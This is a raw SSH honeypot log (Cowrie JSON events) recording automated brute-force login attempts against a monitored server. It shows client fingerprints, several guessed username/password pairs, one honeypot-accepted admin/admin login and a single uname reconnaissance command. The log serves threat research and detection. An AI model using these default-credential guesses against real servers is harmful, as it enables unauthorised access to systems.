{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56286,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4e508083b75","protocol":"ssh","message":"New connection: 192.109.200.237:56286 (159.203.135.109:22) [session: d4e508083b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:22.762165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:22.767139Z","src_ip":"192.109.200.237","session":"d4e508083b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:22.849523Z","src_ip":"192.109.200.237","session":"d4e508083b75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:23.095829Z","src_ip":"192.109.200.237","session":"d4e508083b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:24.180907Z","src_ip":"192.109.200.237","session":"d4e508083b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.99746012687683,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:24.476328Z","src_ip":"186.195.16.41","session":"4bcf3dc3ab14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56290,"dst_ip":"159.203.135.109","dst_port":22,"session":"d98b1b5f1d1b","protocol":"ssh","message":"New connection: 192.109.200.237:56290 (159.203.135.109:22) [session: d98b1b5f1d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:25.903717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:25.908541Z","src_ip":"192.109.200.237","session":"d98b1b5f1d1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:25.991015Z","src_ip":"192.109.200.237","session":"d98b1b5f1d1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:26.358711Z","src_ip":"192.109.200.237","session":"d98b1b5f1d1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:27.443303Z","src_ip":"192.109.200.237","session":"d98b1b5f1d1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56300,"dst_ip":"159.203.135.109","dst_port":22,"session":"a88ffc4d0c6d","protocol":"ssh","message":"New connection: 192.109.200.237:56300 (159.203.135.109:22) [session: a88ffc4d0c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:29.271958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:29.276593Z","src_ip":"192.109.200.237","session":"a88ffc4d0c6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:29.360134Z","src_ip":"192.109.200.237","session":"a88ffc4d0c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:29.613409Z","src_ip":"192.109.200.237","session":"a88ffc4d0c6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:30.699662Z","src_ip":"192.109.200.237","session":"a88ffc4d0c6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53430,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc6914b1417d","protocol":"ssh","message":"New connection: 192.109.200.237:53430 (159.203.135.109:22) [session: dc6914b1417d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:32.491366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:32.495780Z","src_ip":"192.109.200.237","session":"dc6914b1417d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:32.577486Z","src_ip":"192.109.200.237","session":"dc6914b1417d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:32.823838Z","src_ip":"192.109.200.237","session":"dc6914b1417d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:33.033761Z","src_ip":"192.109.200.237","session":"dc6914b1417d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:33.037002Z","src_ip":"192.109.200.237","session":"dc6914b1417d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:33.124486Z","src_ip":"192.109.200.237","session":"dc6914b1417d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:33.129344Z","src_ip":"192.109.200.237","session":"dc6914b1417d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53438,"dst_ip":"159.203.135.109","dst_port":22,"session":"2313c002ab99","protocol":"ssh","message":"New connection: 192.109.200.237:53438 (159.203.135.109:22) [session: 2313c002ab99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:35.678820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:35.683891Z","src_ip":"192.109.200.237","session":"2313c002ab99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:35.768004Z","src_ip":"192.109.200.237","session":"2313c002ab99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:36.021500Z","src_ip":"192.109.200.237","session":"2313c002ab99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:37.109606Z","src_ip":"192.109.200.237","session":"2313c002ab99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53444,"dst_ip":"159.203.135.109","dst_port":22,"session":"9077552e4653","protocol":"ssh","message":"New connection: 192.109.200.237:53444 (159.203.135.109:22) [session: 9077552e4653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:38.887990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:39.004184Z","src_ip":"192.109.200.237","session":"9077552e4653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:39.008135Z","src_ip":"192.109.200.237","session":"9077552e4653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:39.344089Z","src_ip":"192.109.200.237","session":"9077552e4653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":52486,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf8995d685ab","protocol":"ssh","message":"New connection: 37.233.85.71:52486 (159.203.135.109:22) [session: bf8995d685ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:39.355259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:39.360411Z","src_ip":"37.233.85.71","session":"bf8995d685ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:39.471238Z","src_ip":"37.233.85.71","session":"bf8995d685ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhjk","message":"login attempt [root/gfhjk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:39.838205Z","src_ip":"37.233.85.71","session":"bf8995d685ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:40.429267Z","src_ip":"192.109.200.237","session":"9077552e4653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:40.950698Z","src_ip":"37.233.85.71","session":"bf8995d685ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41940,"dst_ip":"159.203.135.109","dst_port":22,"session":"379d5f32a3c0","protocol":"ssh","message":"New connection: 192.109.200.237:41940 (159.203.135.109:22) [session: 379d5f32a3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:42.243750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:42.249466Z","src_ip":"192.109.200.237","session":"379d5f32a3c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:42.336897Z","src_ip":"192.109.200.237","session":"379d5f32a3c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:42.587769Z","src_ip":"192.109.200.237","session":"379d5f32a3c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:43.674714Z","src_ip":"192.109.200.237","session":"379d5f32a3c0","protocol":"ssh"}
